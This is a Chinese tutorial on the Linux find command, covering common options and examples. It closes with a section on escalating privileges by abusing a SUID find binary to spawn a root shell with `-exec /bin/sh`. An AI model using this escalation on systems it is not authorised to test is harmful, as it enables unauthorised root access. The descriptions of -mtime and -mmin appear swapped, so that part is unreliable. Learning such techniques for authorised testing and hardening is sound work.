find基础命令与提权教程
find命令用来在指定目录下查找文件,若不指定目录则视为当前目录
- find常用参数
语法:find [path…] [expression]
path为查找路径,
.
为当前路径,/
为根目录expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位
-type:
- d:目录
- f:文件
- c:字符设备文件
- b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后
n*24
小时内曾被存取过的文件或目录-amin n: 查找系统最后
n
分钟内曾被存取过的文件或目录-ctime n: 查找系统中最后
n*24
小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录-cmin n: 查找系统中最后
N
分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录-mtime: 查找系统中最后
N
分钟内曾被更改过的文件或目录-mmin n: 查找系统中最后
n*24
小时内曾被更改过的文件或目录-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。
- find实例
1.在当前目录下查找文件名以txt为后缀的文件
find -name '*.txt'
2.在root目录下查找大于50m小于100m的文件
find / -size +50M -size -100M -type f
3.查找在10分钟内读取过的文件
find / -amin 10 -type f
4.查找权限为777的文件或目录并排序
find -perm -777 -type f |sort
5.查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中
find . -type f -name "*.txt" -exec cat {} \;> all.txt
6.因为单行命令中-exec参数中无法使用多个命令,以下方法可以实现在-exec之后接受多条命令
find '1.txt' -exec ./text.sh {} \;
text.sh内容
命令结果
- find命令提权
1.使用find命令查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
2.使用exec查看当前用户
find text -exec "whoami" \;
text必须是可以找到的文件名,不然会出错,可以看到是root权限,如果这里显示的不是可以接着看下一步
3.使用find命令来提权
find text.sh -exec "/bin/sh" \;